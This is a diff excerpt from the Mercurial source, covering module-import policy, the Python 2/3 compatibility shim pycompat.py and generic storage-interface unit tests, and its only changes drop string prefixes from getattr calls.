     return fakelocals[modname]
 
 
 # keep in sync with "version" in C modules
 _cextversions = {
     (r'cext', r'base85'): 1,
     (r'cext', r'bdiff'): 3,
     (r'cext', r'mpatch'): 1,
     (r'cext', r'osutil'): 4,
     (r'cext', r'parsers'): 13,
 }
 
 # map import request to other package or module
 _modredirects = {
     (r'cext', r'charencode'): (r'cext', r'parsers'),
     (r'cffi', r'base85'): (r'pure', r'base85'),
     (r'cffi', r'charencode'): (r'pure', r'charencode'),
     (r'cffi', r'parsers'): (r'pure', r'parsers'),
 }
 
 
 def _checkmod(pkgname, modname, mod):
     expected = _cextversions.get((pkgname, modname))
-    actual = getattr(mod, r'version', None)
+    actual = getattr(mod, 'version', None)
     if actual != expected:
         raise ImportError(
             r'cannot import module %s.%s '
             r'(expected version: %d, actual: %r)'
             % (pkgname, modname, expected, actual)
         )
 
 
 def importmod(modname):
     """Import module according to policy and check API version"""
     try:
         verpkg, purepkg = _packageprefs[policy]
     except KeyError:
         raise ImportError(r'invalid HGMODULEPOLICY %r' % policy)
     assert verpkg or purepkg
     if verpkg:
         pn, mn = _modredirects.get((verpkg, modname), (verpkg, modname))
         try:
             mod = _importfrom(pn, mn)
             if pn == verpkg:
                 _checkmod(pn, mn, mod)
             return mod
         except ImportError:
             if not purepkg:
                 raise
     pn, mn = _modredirects.get((purepkg, modname), (purepkg, modname))
     return _importfrom(pn, mn)
 
 
 def _isrustpermissive():
     """Assuming the policy is a Rust one, tell if it's permissive."""
     return policy.endswith(b'-allow')
 
 
 def importrust(modname, member=None, default=None):
     """Import Rust module according to policy and availability.
 
     If policy isn't a Rust one, this returns `default`.
 
     If either the module or its member is not available, this returns `default`
     if policy is permissive and raises `ImportError` if not.
     """
     if not policy.startswith(b'rust'):
         return default
 
     try:
         mod = _importfrom(r'rustext', modname)
     except ImportError:
         if _isrustpermissive():
             return default
         raise
     if member is None:
         return mod
 
     try:
         return getattr(mod, member)
     except AttributeError:
         if _isrustpermissive():
             return default
         raise ImportError(r"Cannot import name %s" % member)

mercurial/pycompat.py

@@ -1,450 +1,450
 # pycompat.py - portability shim for python 3
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Mercurial portability shim for python 3.
 
 This contains aliases to hide python version-specific details from the core.
 """
 
 from __future__ import absolute_import
 
 import getopt
 import inspect
 import os
 import shlex
 import sys
 import tempfile
 
 ispy3 = sys.version_info[0] >= 3
 ispypy = r'__pypy__' in sys.builtin_module_names
 
 if not ispy3:
     import cookielib
     import cPickle as pickle
     import httplib
     import Queue as queue
     import SocketServer as socketserver
     import xmlrpclib
 
     from .thirdparty.concurrent import futures
 
     def future_set_exception_info(f, exc_info):
         f.set_exception_info(*exc_info)
 
 
 else:
     import concurrent.futures as futures
     import http.cookiejar as cookielib
     import http.client as httplib
     import pickle
     import queue as queue
     import socketserver
     import xmlrpc.client as xmlrpclib
 
     def future_set_exception_info(f, exc_info):
         f.set_exception(exc_info[0])
 
 
 def identity(a):
     return a
 
 
 def _rapply(f, xs):
     if xs is None:
         # assume None means non-value of optional data
         return xs
     if isinstance(xs, (list, set, tuple)):
         return type(xs)(_rapply(f, x) for x in xs)
     if isinstance(xs, dict):
         return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
     return f(xs)
 
 
 def rapply(f, xs):
     """Apply function recursively to every item preserving the data structure
 
     >>> def f(x):
     ...     return 'f(%s)' % x
     >>> rapply(f, None) is None
     True
     >>> rapply(f, 'a')
     'f(a)'
     >>> rapply(f, {'a'}) == {'f(a)'}
     True
     >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
     ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
 
     >>> xs = [object()]
     >>> rapply(identity, xs) is xs
     True
     """
     if f is identity:
         # fast path mainly for py2
         return xs
     return _rapply(f, xs)
 
 
 if ispy3:
     import builtins
     import functools
     import io
     import struct
 
     fsencode = os.fsencode
     fsdecode = os.fsdecode
     oscurdir = os.curdir.encode('ascii')
     oslinesep = os.linesep.encode('ascii')
     osname = os.name.encode('ascii')
     ospathsep = os.pathsep.encode('ascii')
     ospardir = os.pardir.encode('ascii')
     ossep = os.sep.encode('ascii')
     osaltsep = os.altsep
     if osaltsep:
         osaltsep = osaltsep.encode('ascii')
 
     sysplatform = sys.platform.encode('ascii')
     sysexecutable = sys.executable
     if sysexecutable:
         sysexecutable = os.fsencode(sysexecutable)
     bytesio = io.BytesIO
     # TODO deprecate stringio name, as it is a lie on Python 3.
     stringio = bytesio
 
     def maplist(*args):
         return list(map(*args))
 
     def rangelist(*args):
         return list(range(*args))
 
     def ziplist(*args):
         return list(zip(*args))
 
     rawinput = input
     getargspec = inspect.getfullargspec
 
     long = int
 
     # TODO: .buffer might not exist if std streams were replaced; we'll need
     # a silly wrapper to make a bytes stream backed by a unicode one.
     stdin = sys.stdin.buffer
     stdout = sys.stdout.buffer
     stderr = sys.stderr.buffer
 
     # Since Python 3 converts argv to wchar_t type by Py_DecodeLocale() on Unix,
     # we can use os.fsencode() to get back bytes argv.
     #
     # https://hg.python.org/cpython/file/v3.5.1/Programs/python.c#l55
     #
     # TODO: On Windows, the native argv is wchar_t, so we'll need a different
     # workaround to simulate the Python 2 (i.e. ANSI Win32 API) behavior.
     if getattr(sys, 'argv', None) is not None:
         sysargv = list(map(os.fsencode, sys.argv))
 
     bytechr = struct.Struct(r'>B').pack
     byterepr = b'%r'.__mod__
 
     class bytestr(bytes):
         """A bytes which mostly acts as a Python 2 str
 
         >>> bytestr(), bytestr(bytearray(b'foo')), bytestr(u'ascii'), bytestr(1)
         ('', 'foo', 'ascii', '1')
         >>> s = bytestr(b'foo')
         >>> assert s is bytestr(s)
 
         __bytes__() should be called if provided:
 
         >>> class bytesable(object):
         ...     def __bytes__(self):
         ...         return b'bytes'
         >>> bytestr(bytesable())
         'bytes'
 
         There's no implicit conversion from non-ascii str as its encoding is
         unknown:
 
         >>> bytestr(chr(0x80)) # doctest: +ELLIPSIS
         Traceback (most recent call last):
           ...
         UnicodeEncodeError: ...
 
         Comparison between bytestr and bytes should work:
 
         >>> assert bytestr(b'foo') == b'foo'
         >>> assert b'foo' == bytestr(b'foo')
         >>> assert b'f' in bytestr(b'foo')
         >>> assert bytestr(b'f') in b'foo'
 
         Sliced elements should be bytes, not integer:
 
         >>> s[1], s[:2]
         (b'o', b'fo')
         >>> list(s), list(reversed(s))
         ([b'f', b'o', b'o'], [b'o', b'o', b'f'])
 
         As bytestr type isn't propagated across operations, you need to cast
         bytes to bytestr explicitly:
 
         >>> s = bytestr(b'foo').upper()
         >>> t = bytestr(s)
         >>> s[0], t[0]
         (70, b'F')
 
         Be careful to not pass a bytestr object to a function which expects
         bytearray-like behavior.
 
         >>> t = bytes(t)  # cast to bytes
         >>> assert type(t) is bytes
         """
 
         def __new__(cls, s=b''):
             if isinstance(s, bytestr):
                 return s
             if not isinstance(
                 s, (bytes, bytearray)
             ) and not hasattr(  # hasattr-py3-only
                 s, u'__bytes__'
             ):
                 s = str(s).encode('ascii')
             return bytes.__new__(cls, s)
 
         def __getitem__(self, key):
             s = bytes.__getitem__(self, key)
             if not isinstance(s, bytes):
                 s = bytechr(s)
             return s
 
         def __iter__(self):
             return iterbytestr(bytes.__iter__(self))
 
         def __repr__(self):
             return bytes.__repr__(self)[1:]  # drop b''
 
     def iterbytestr(s):
         """Iterate bytes as if it were a str object of Python 2"""
         return map(bytechr, s)
 
     def maybebytestr(s):
         """Promote bytes to bytestr"""
         if isinstance(s, bytes):
             return bytestr(s)
         return s
 
     def sysbytes(s):
         """Convert an internal str (e.g. keyword, __doc__) back to bytes
 
         This never raises UnicodeEncodeError, but only ASCII characters
         can be round-trip by sysstr(sysbytes(s)).
         """
         return s.encode('utf-8')
 
     def sysstr(s):
         """Return a keyword str to be passed to Python functions such as
         getattr() and str.encode()
 
         This never raises UnicodeDecodeError. Non-ascii characters are
         considered invalid and mapped to arbitrary but unique code points
         such that 'sysstr(a) != sysstr(b)' for all 'a != b'.
         """
         if isinstance(s, builtins.str):
             return s
         return s.decode('latin-1')
 
     def strurl(url):
         """Converts a bytes url back to str"""
         if isinstance(url, bytes):
             return url.decode('ascii')
         return url
 
     def bytesurl(url):
         """Converts a str url to bytes by encoding in ascii"""
         if isinstance(url, str):
             return url.encode('ascii')
         return url
 
     def raisewithtb(exc, tb):
         """Raise exception with the given traceback"""
         raise exc.with_traceback(tb)
 
     def getdoc(obj):
         """Get docstring as bytes; may be None so gettext() won't confuse it
         with _('')"""
-        doc = getattr(obj, u'__doc__', None)
+        doc = getattr(obj, '__doc__', None)
         if doc is None:
             return doc
         return sysbytes(doc)
 
     def _wrapattrfunc(f):
         @functools.wraps(f)
         def w(object, name, *args):
             return f(object, sysstr(name), *args)
 
         return w
 
     # these wrappers are automagically imported by hgloader
     delattr = _wrapattrfunc(builtins.delattr)
     getattr = _wrapattrfunc(builtins.getattr)
     hasattr = _wrapattrfunc(builtins.hasattr)
     setattr = _wrapattrfunc(builtins.setattr)
     xrange = builtins.range
     unicode = str
 
     def open(name, mode=b'r', buffering=-1, encoding=None):
         return builtins.open(name, sysstr(mode), buffering, encoding)
 
     safehasattr = _wrapattrfunc(builtins.hasattr)
 
     def _getoptbwrapper(orig, args, shortlist, namelist):
         """
         Takes bytes arguments, converts them to unicode, pass them to
         getopt.getopt(), convert the returned values back to bytes and then
         return them for Python 3 compatibility as getopt.getopt() don't accepts
         bytes on Python 3.
         """
         args = [a.decode('latin-1') for a in args]
         shortlist = shortlist.decode('latin-1')
         namelist = [a.decode('latin-1') for a in namelist]
         opts, args = orig(args, shortlist, namelist)
         opts = [(a[0].encode('latin-1'), a[1].encode('latin-1')) for a in opts]
         args = [a.encode('latin-1') for a in args]
         return opts, args
 
     def strkwargs(dic):
         """
         Converts the keys of a python dictonary to str i.e. unicodes so that
         they can be passed as keyword arguments as dictonaries with bytes keys
         can't be passed as keyword arguments to functions on Python 3.
         """
         dic = dict((k.decode('latin-1'), v) for k, v in dic.iteritems())
         return dic
 
     def byteskwargs(dic):
         """
         Converts keys of python dictonaries to bytes as they were converted to
         str to pass that dictonary as a keyword argument on Python 3.
         """
         dic = dict((k.encode('latin-1'), v) for k, v in dic.iteritems())
         return dic
 
     # TODO: handle shlex.shlex().
     def shlexsplit(s, comments=False, posix=True):
         """
         Takes bytes argument, convert it to str i.e. unicodes, pass that into
         shlex.split(), convert the returned value to bytes and return that for
         Python 3 compatibility as shelx.split() don't accept bytes on Python 3.
         """
         ret = shlex.split(s.decode('latin-1'), comments, posix)
         return [a.encode('latin-1') for a in ret]
 
 
 else:
     import cStringIO
 
     xrange = xrange
     unicode = unicode
     bytechr = chr
     byterepr = repr
     bytestr = str
     iterbytestr = iter
     maybebytestr = identity
     sysbytes = identity
     sysstr = identity
     strurl = identity
     bytesurl = identity
     open = open
     delattr = delattr
     getattr = getattr
     hasattr = hasattr
     setattr = setattr
 
     # this can't be parsed on Python 3
     exec(b'def raisewithtb(exc, tb):\n' b'    raise exc, None, tb\n')
 
     def fsencode(filename):
         """
         Partial backport from os.py in Python 3, which only accepts bytes.
         In Python 2, our paths should only ever be bytes, a unicode path
         indicates a bug.
         """
         if isinstance(filename, str):
             return filename
         else:
             raise TypeError(r"expect str, not %s" % type(filename).__name__)
 
     # In Python 2, fsdecode() has a very chance to receive bytes. So it's
     # better not to touch Python 2 part as it's already working fine.
     fsdecode = identity
 
     def getdoc(obj):
         return getattr(obj, '__doc__', None)
 
     _notset = object()
 
     def safehasattr(thing, attr):
         return getattr(thing, attr, _notset) is not _notset
 
     def _getoptbwrapper(orig, args, shortlist, namelist):
         return orig(args, shortlist, namelist)
 
     strkwargs = identity
     byteskwargs = identity
 
     oscurdir = os.curdir
     oslinesep = os.linesep
     osname = os.name
     ospathsep = os.pathsep
     ospardir = os.pardir
     ossep = os.sep
     osaltsep = os.altsep
     long = long
     stdin = sys.stdin
     stdout = sys.stdout
     stderr = sys.stderr
     if getattr(sys, 'argv', None) is not None:
         sysargv = sys.argv
     sysplatform = sys.platform
     sysexecutable = sys.executable
     shlexsplit = shlex.split
     bytesio = cStringIO.StringIO
     stringio = bytesio
     maplist = map
     rangelist = range
     ziplist = zip
     rawinput = raw_input
     getargspec = inspect.getargspec
 
 isjython = sysplatform.startswith(b'java')
 
 isdarwin = sysplatform.startswith(b'darwin')
 islinux = sysplatform.startswith(b'linux')
 isposix = osname == b'posix'
 iswindows = osname == b'nt'
 
 
 def getoptb(args, shortlist, namelist):
     return _getoptbwrapper(getopt.getopt, args, shortlist, namelist)
 
 
 def gnugetoptb(args, shortlist, namelist):
     return _getoptbwrapper(getopt.gnu_getopt, args, shortlist, namelist)
 
 
 def mkdtemp(suffix=b'', prefix=b'tmp', dir=None):
     return tempfile.mkdtemp(suffix, prefix, dir)
 
 
 # text=True is not supported; use util.from/tonativeeol() instead
 def mkstemp(suffix=b'', prefix=b'tmp', dir=None):
     return tempfile.mkstemp(suffix, prefix, dir)
 
 
 # mode must include 'b'ytes as encoding= is not supported
 def namedtempfile(
     mode=b'w+b', bufsize=-1, suffix=b'', prefix=b'tmp', dir=None, delete=True
 ):
     mode = sysstr(mode)
     assert r'b' in mode
     return tempfile.NamedTemporaryFile(
         mode, bufsize, suffix=suffix, prefix=prefix, dir=dir, delete=delete
     )

mercurial/testing/storage.py

@@ -1,1391 +1,1391
 # storage.py - Testing of storage primitives.
 #
 # Copyright 2018 Gregory Szorc <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import unittest
 
 from ..node import (
     hex,
     nullid,
     nullrev,
 )
 from ..pycompat import getattr
 from .. import (
     error,
     mdiff,
 )
 from ..interfaces import repository
 from ..utils import storageutil
 
 
 class basetestcase(unittest.TestCase):
-    if not getattr(unittest.TestCase, r'assertRaisesRegex', False):
+    if not getattr(unittest.TestCase, 'assertRaisesRegex', False):
         assertRaisesRegex = (  # camelcase-required
             unittest.TestCase.assertRaisesRegexp
         )
 
 
 class ifileindextests(basetestcase):
     """Generic tests for the ifileindex interface.
 
     All file storage backends for index data should conform to the tests in this
     class.
 
     Use ``makeifileindextests()`` to create an instance of this type.
     """
 
     def testempty(self):
         f = self._makefilefn()
         self.assertEqual(len(f), 0, b'new file store has 0 length by default')
         self.assertEqual(list(f), [], b'iter yields nothing by default')
 
         gen = iter(f)
         with self.assertRaises(StopIteration):
             next(gen)
 
         self.assertFalse(f.hasnode(None))
         self.assertFalse(f.hasnode(0))
         self.assertFalse(f.hasnode(nullrev))
         self.assertFalse(f.hasnode(nullid))
         self.assertFalse(f.hasnode(b'0'))
         self.assertFalse(f.hasnode(b'a' * 20))
 
         # revs() should evaluate to an empty list.
         self.assertEqual(list(f.revs()), [])
 
         revs = iter(f.revs())
         with self.assertRaises(StopIteration):
             next(revs)
 
         self.assertEqual(list(f.revs(start=20)), [])
 
         # parents() and parentrevs() work with nullid/nullrev.
         self.assertEqual(f.parents(nullid), (nullid, nullid))
         self.assertEqual(f.parentrevs(nullrev), (nullrev, nullrev))
 
         with self.assertRaises(error.LookupError):
             f.parents(b'\x01' * 20)
 
         for i in range(-5, 5):
             if i == nullrev:
                 continue
 
             with self.assertRaises(IndexError):
                 f.parentrevs(i)
 
         # nullid/nullrev lookup always works.
         self.assertEqual(f.rev(nullid), nullrev)
         self.assertEqual(f.node(nullrev), nullid)
 
         with self.assertRaises(error.LookupError):
             f.rev(b'\x01' * 20)
 
         for i in range(-5, 5):
             if i == nullrev:
                 continue
 
             with self.assertRaises(IndexError):
                 f.node(i)
 
         self.assertEqual(f.lookup(nullid), nullid)
         self.assertEqual(f.lookup(nullrev), nullid)
         self.assertEqual(f.lookup(hex(nullid)), nullid)
         self.assertEqual(f.lookup(b'%d' % nullrev), nullid)
 
         with self.assertRaises(error.LookupError):
             f.lookup(b'badvalue')
 
         with self.assertRaises(error.LookupError):
             f.lookup(hex(nullid)[0:12])
 
         with self.assertRaises(error.LookupError):
             f.lookup(b'-2')
 
         with self.assertRaises(error.LookupError):
             f.lookup(b'0')
 
         with self.assertRaises(error.LookupError):
             f.lookup(b'1')
 
         with self.assertRaises(error.LookupError):
             f.lookup(b'11111111111111111111111111111111111111')
 
         for i in range(-5, 5):
             if i == nullrev:
                 continue
 
             with self.assertRaises(LookupError):
                 f.lookup(i)
 
         self.assertEqual(f.linkrev(nullrev), nullrev)
 
         for i in range(-5, 5):
             if i == nullrev:
                 continue
 
             with self.assertRaises(IndexError):
                 f.linkrev(i)
 
         self.assertFalse(f.iscensored(nullrev))
 
         for i in range(-5, 5):
             if i == nullrev:
                 continue
 
             with self.assertRaises(IndexError):
                 f.iscensored(i)
 
         self.assertEqual(list(f.commonancestorsheads(nullid, nullid)), [])
 
         with self.assertRaises(ValueError):
             self.assertEqual(list(f.descendants([])), [])
 
         self.assertEqual(list(f.descendants([nullrev])), [])
 
         self.assertEqual(f.heads(), [nullid])
         self.assertEqual(f.heads(nullid), [nullid])
         self.assertEqual(f.heads(None, [nullid]), [nullid])
         self.assertEqual(f.heads(nullid, [nullid]), [nullid])
 
         self.assertEqual(f.children(nullid), [])
 
         with self.assertRaises(error.LookupError):
             f.children(b'\x01' * 20)
 
     def testsinglerevision(self):
         f = self._makefilefn()
         with self._maketransactionfn() as tr:
             node = f.add(b'initial', None, tr, 0, nullid, nullid)
 
         self.assertEqual(len(f), 1)
         self.assertEqual(list(f), [0])
 
         gen = iter(f)
         self.assertEqual(next(gen), 0)
 
         with self.assertRaises(StopIteration):
             next(gen)
 
         self.assertTrue(f.hasnode(node))
         self.assertFalse(f.hasnode(hex(node)))
         self.assertFalse(f.hasnode(nullrev))
         self.assertFalse(f.hasnode(nullid))
         self.assertFalse(f.hasnode(node[0:12]))
         self.assertFalse(f.hasnode(hex(node)[0:20]))
 
         self.assertEqual(list(f.revs()), [0])
         self.assertEqual(list(f.revs(start=1)), [])
         self.assertEqual(list(f.revs(start=0)), [0])
         self.assertEqual(list(f.revs(stop=0)), [0])
         self.assertEqual(list(f.revs(stop=1)), [0])
         self.assertEqual(list(f.revs(1, 1)), [])
         # TODO buggy
         self.assertEqual(list(f.revs(1, 0)), [1, 0])
         self.assertEqual(list(f.revs(2, 0)), [2, 1, 0])
 
         self.assertEqual(f.parents(node), (nullid, nullid))
         self.assertEqual(f.parentrevs(0), (nullrev, nullrev))
 
         with self.assertRaises(error.LookupError):
             f.parents(b'\x01' * 20)
 
         with self.assertRaises(IndexError):
             f.parentrevs(1)
 
         self.assertEqual(f.rev(node), 0)
 
         with self.assertRaises(error.LookupError):
             f.rev(b'\x01' * 20)
 
         self.assertEqual(f.node(0), node)
 
         with self.assertRaises(IndexError):
             f.node(1)
 
         self.assertEqual(f.lookup(node), node)
         self.assertEqual(f.lookup(0), node)
         self.assertEqual(f.lookup(-1), nullid)
         self.assertEqual(f.lookup(b'0'), node)
         self.assertEqual(f.lookup(hex(node)), node)
 
         with self.assertRaises(error.LookupError):
             f.lookup(hex(node)[0:12])
 
         with self.assertRaises(error.LookupError):
             f.lookup(-2)
 
         with self.assertRaises(error.LookupError):
             f.lookup(b'-2')
 
         with self.assertRaises(error.LookupError):
             f.lookup(1)
 
         with self.assertRaises(error.LookupError):
             f.lookup(b'1')
 
         self.assertEqual(f.linkrev(0), 0)
 
         with self.assertRaises(IndexError):
             f.linkrev(1)
 
         self.assertFalse(f.iscensored(0))
 
         with self.assertRaises(IndexError):
             f.iscensored(1)
 
         self.assertEqual(list(f.descendants([0])), [])
 
         self.assertEqual(f.heads(), [node])
         self.assertEqual(f.heads(node), [node])
         self.assertEqual(f.heads(stop=[node]), [node])
 
         with self.assertRaises(error.LookupError):
             f.heads(stop=[b'\x01' * 20])
 
         self.assertEqual(f.children(node), [])
 
     def testmultiplerevisions(self):
         fulltext0 = b'x' * 1024
         fulltext1 = fulltext0 + b'y'
         fulltext2 = b'y' + fulltext0 + b'z'
 
         f = self._makefilefn()
         with self._maketransactionfn() as tr:
             node0 = f.add(fulltext0, None, tr, 0, nullid, nullid)
             node1 = f.add(fulltext1, None, tr, 1, node0, nullid)
             node2 = f.add(fulltext2, None, tr, 3, node1, nullid)
 
         self.assertEqual(len(f), 3)
         self.assertEqual(list(f), [0, 1, 2])
 
         gen = iter(f)
         self.assertEqual(next(gen), 0)
         self.assertEqual(next(gen), 1)
         self.assertEqual(next(gen), 2)
 
         with self.assertRaises(StopIteration):
             next(gen)
 
         self.assertEqual(list(f.revs()), [0, 1, 2])
         self.assertEqual(list(f.revs(0)), [0, 1, 2])
         self.assertEqual(list(f.revs(1)), [1, 2])
         self.assertEqual(list(f.revs(2)), [2])
         self.assertEqual(list(f.revs(3)), [])
         self.assertEqual(list(f.revs(stop=1)), [0, 1])
         self.assertEqual(list(f.revs(stop=2)), [0, 1, 2])
         self.assertEqual(list(f.revs(stop=3)), [0, 1, 2])
         self.assertEqual(list(f.revs(2, 0)), [2, 1, 0])
         self.assertEqual(list(f.revs(2, 1)), [2, 1])
         # TODO this is wrong
         self.assertEqual(list(f.revs(3, 2)), [3, 2])
 
         self.assertEqual(f.parents(node0), (nullid, nullid))
         self.assertEqual(f.parents(node1), (node0, nullid))
         self.assertEqual(f.parents(node2), (node1, nullid))
 
         self.assertEqual(f.parentrevs(0), (nullrev, nullrev))
         self.assertEqual(f.parentrevs(1), (0, nullrev))
         self.assertEqual(f.parentrevs(2), (1, nullrev))
 
         self.assertEqual(f.rev(node0), 0)
         self.assertEqual(f.rev(node1), 1)
         self.assertEqual(f.rev(node2), 2)
 
         with self.assertRaises(error.LookupError):
             f.rev(b'\x01' * 20)
 
         self.assertEqual(f.node(0), node0)
         self.assertEqual(f.node(1), node1)
         self.assertEqual(f.node(2), node2)
 
         with self.assertRaises(IndexError):
             f.node(3)
 
         self.assertEqual(f.lookup(node0), node0)
         self.assertEqual(f.lookup(0), node0)
         self.assertEqual(f.lookup(b'0'), node0)
         self.assertEqual(f.lookup(hex(node0)), node0)
 
         self.assertEqual(f.lookup(node1), node1)
         self.assertEqual(f.lookup(1), node1)
         self.assertEqual(f.lookup(b'1'), node1)
         self.assertEqual(f.lookup(hex(node1)), node1)
 
         self.assertEqual(f.linkrev(0), 0)
         self.assertEqual(f.linkrev(1), 1)
         self.assertEqual(f.linkrev(2), 3)
 
         with self.assertRaises(IndexError):
             f.linkrev(3)
 
         self.assertFalse(f.iscensored(0))
         self.assertFalse(f.iscensored(1))
         self.assertFalse(f.iscensored(2))
 
         with self.assertRaises(IndexError):
             f.iscensored(3)
 
         self.assertEqual(f.commonancestorsheads(node1, nullid), [])
         self.assertEqual(f.commonancestorsheads(node1, node0), [node0])
         self.assertEqual(f.commonancestorsheads(node1, node1), [node1])
         self.assertEqual(f.commonancestorsheads(node0, node1), [node0])
         self.assertEqual(f.commonancestorsheads(node1, node2), [node1])
         self.assertEqual(f.commonancestorsheads(node2, node1), [node1])
 
         self.assertEqual(list(f.descendants([0])), [1, 2])
         self.assertEqual(list(f.descendants([1])), [2])
         self.assertEqual(list(f.descendants([0, 1])), [1, 2])
 
         self.assertEqual(f.heads(), [node2])
         self.assertEqual(f.heads(node0), [node2])
         self.assertEqual(f.heads(node1), [node2])
         self.assertEqual(f.heads(node2), [node2])
 
         # TODO this behavior seems wonky. Is it correct? If so, the
         # docstring for heads() should be updated to reflect desired
         # behavior.
         self.assertEqual(f.heads(stop=[node1]), [node1, node2])
         self.assertEqual(f.heads(stop=[node0]), [node0, node2])
         self.assertEqual(f.heads(stop=[node1, node2]), [node1, node2])
 
         with self.assertRaises(error.LookupError):
             f.heads(stop=[b'\x01' * 20])
 
         self.assertEqual(f.children(node0), [node1])
         self.assertEqual(f.children(node1), [node2])
         self.assertEqual(f.children(node2), [])
 
     def testmultipleheads(self):
         f = self._makefilefn()
 
         with self._maketransactionfn() as tr:
             node0 = f.add(b'0', None, tr, 0, nullid, nullid)
             node1 = f.add(b'1', None, tr, 1, node0, nullid)
             node2 = f.add(b'2', None, tr, 2, node1, nullid)
             node3 = f.add(b'3', None, tr, 3, node0, nullid)
             node4 = f.add(b'4', None, tr, 4, node3, nullid)
             node5 = f.add(b'5', None, tr, 5, node0, nullid)
 
         self.assertEqual(len(f), 6)
 
         self.assertEqual(list(f.descendants([0])), [1, 2, 3, 4, 5])
         self.assertEqual(list(f.descendants([1])), [2])
         self.assertEqual(list(f.descendants([2])), [])
         self.assertEqual(list(f.descendants([3])), [4])
         self.assertEqual(list(f.descendants([0, 1])), [1, 2, 3, 4, 5])
         self.assertEqual(list(f.descendants([1, 3])), [2, 4])
 
         self.assertEqual(f.heads(), [node2, node4, node5])
         self.assertEqual(f.heads(node0), [node2, node4, node5])
         self.assertEqual(f.heads(node1), [node2])
         self.assertEqual(f.heads(node2), [node2])
         self.assertEqual(f.heads(node3), [node4])
         self.assertEqual(f.heads(node4), [node4])
         self.assertEqual(f.heads(node5), [node5])
 
         # TODO this seems wrong.
         self.assertEqual(f.heads(stop=[node0]), [node0, node2, node4, node5])
         self.assertEqual(f.heads(stop=[node1]), [node1, node2, node4, node5])
 
         self.assertEqual(f.children(node0), [node1, node3, node5])
         self.assertEqual(f.children(node1), [node2])
         self.assertEqual(f.children(node2), [])
         self.assertEqual(f.children(node3), [node4])
         self.assertEqual(f.children(node4), [])
         self.assertEqual(f.children(node5), [])
 
 
 class ifiledatatests(basetestcase):
     """Generic tests for the ifiledata interface.
 
     All file storage backends for data should conform to the tests in this
     class.
 
     Use ``makeifiledatatests()`` to create an instance of this type.
     """
 
     def testempty(self):
         f = self._makefilefn()
 
         self.assertEqual(f.storageinfo(), {})
         self.assertEqual(
             f.storageinfo(revisionscount=True, trackedsize=True),
             {b'revisionscount': 0, b'trackedsize': 0},
         )
 
         self.assertEqual(f.size(nullrev), 0)
 
         for i in range(-5, 5):
             if i == nullrev:
                 continue
 
             with self.assertRaises(IndexError):
                 f.size(i)
 
         self.assertEqual(f.revision(nullid), b'')
         self.assertEqual(f.rawdata(nullid), b'')
 
         with self.assertRaises(error.LookupError):
             f.revision(b'\x01' * 20)
 
         self.assertEqual(f.read(nullid), b'')
 
         with self.assertRaises(error.LookupError):
             f.read(b'\x01' * 20)
 
         self.assertFalse(f.renamed(nullid))
 
         with self.assertRaises(error.LookupError):
             f.read(b'\x01' * 20)
 
         self.assertTrue(f.cmp(nullid, b''))
         self.assertTrue(f.cmp(nullid, b'foo'))
 
         with self.assertRaises(error.LookupError):
             f.cmp(b'\x01' * 20, b'irrelevant')
 
         # Emitting empty list is an empty generator.
         gen = f.emitrevisions([])
         with self.assertRaises(StopIteration):
             next(gen)
 
         # Emitting null node yields nothing.
         gen = f.emitrevisions([nullid])
         with self.assertRaises(StopIteration):
             next(gen)
 
         # Requesting unknown node fails.
         with self.assertRaises(error.LookupError):
             list(f.emitrevisions([b'\x01' * 20]))
 
     def testsinglerevision(self):
         fulltext = b'initial'
 
         f = self._makefilefn()
         with self._maketransactionfn() as tr:
             node = f.add(fulltext, None, tr, 0, nullid, nullid)
 
         self.assertEqual(f.storageinfo(), {})
         self.assertEqual(
             f.storageinfo(revisionscount=True, trackedsize=True),
             {b'revisionscount': 1, b'trackedsize': len(fulltext)},
         )
 
         self.assertEqual(f.size(0), len(fulltext))
 
         with self.assertRaises(IndexError):
             f.size(1)
 
         self.assertEqual(f.revision(node), fulltext)
         self.assertEqual(f.rawdata(node), fulltext)
 
         self.assertEqual(f.read(node), fulltext)
 
         self.assertFalse(f.renamed(node))
 
         self.assertFalse(f.cmp(node, fulltext))
         self.assertTrue(f.cmp(node, fulltext + b'extra'))
 
         # Emitting a single revision works.
         gen = f.emitrevisions([node])
         rev = next(gen)
 
         self.assertEqual(rev.node, node)
         self.assertEqual(rev.p1node, nullid)
         self.assertEqual(rev.p2node, nullid)
         self.assertIsNone(rev.linknode)
         self.assertEqual(rev.basenode, nullid)
         self.assertIsNone(rev.baserevisionsize)
         self.assertIsNone(rev.revision)
         self.assertIsNone(rev.delta)
 
         with self.assertRaises(StopIteration):
             next(gen)
 
         # Requesting revision data works.
         gen = f.emitrevisions([node], revisiondata=True)
         rev = next(gen)
 
         self.assertEqual(rev.node, node)
         self.assertEqual(rev.p1node, nullid)
         self.assertEqual(rev.p2node, nullid)
         self.assertIsNone(rev.linknode)
         self.assertEqual(rev.basenode, nullid)
         self.assertIsNone(rev.baserevisionsize)
         self.assertEqual(rev.revision, fulltext)
         self.assertIsNone(rev.delta)
 
         with self.assertRaises(StopIteration):
             next(gen)
 
         # Emitting an unknown node after a known revision results in error.
         with self.assertRaises(error.LookupError):
             list(f.emitrevisions([node, b'\x01' * 20]))
 
     def testmultiplerevisions(self):
         fulltext0 = b'x' * 1024
         fulltext1 = fulltext0 + b'y'
         fulltext2 = b'y' + fulltext0 + b'z'
 
         f = self._makefilefn()
         with self._maketransactionfn() as tr:
             node0 = f.add(fulltext0, None, tr, 0, nullid, nullid)
             node1 = f.add(fulltext1, None, tr, 1, node0, nullid)
             node2 = f.add(fulltext2, None, tr, 3, node1, nullid)
 
         self.assertEqual(f.storageinfo(), {})
         self.assertEqual(
             f.storageinfo(revisionscount=True, trackedsize=True),
             {
                 b'revisionscount': 3,
                 b'trackedsize': len(fulltext0)
                 + len(fulltext1)
                 + len(fulltext2),
             },
         )
 
         self.assertEqual(f.size(0), len(fulltext0))
         self.assertEqual(f.size(1), len(fulltext1))
         self.assertEqual(f.size(2), len(fulltext2))
 
         with self.assertRaises(IndexError):
             f.size(3)
 
         self.assertEqual(f.revision(node0), fulltext0)
         self.assertEqual(f.rawdata(node0), fulltext0)
         self.assertEqual(f.revision(node1), fulltext1)
         self.assertEqual(f.rawdata(node1), fulltext1)
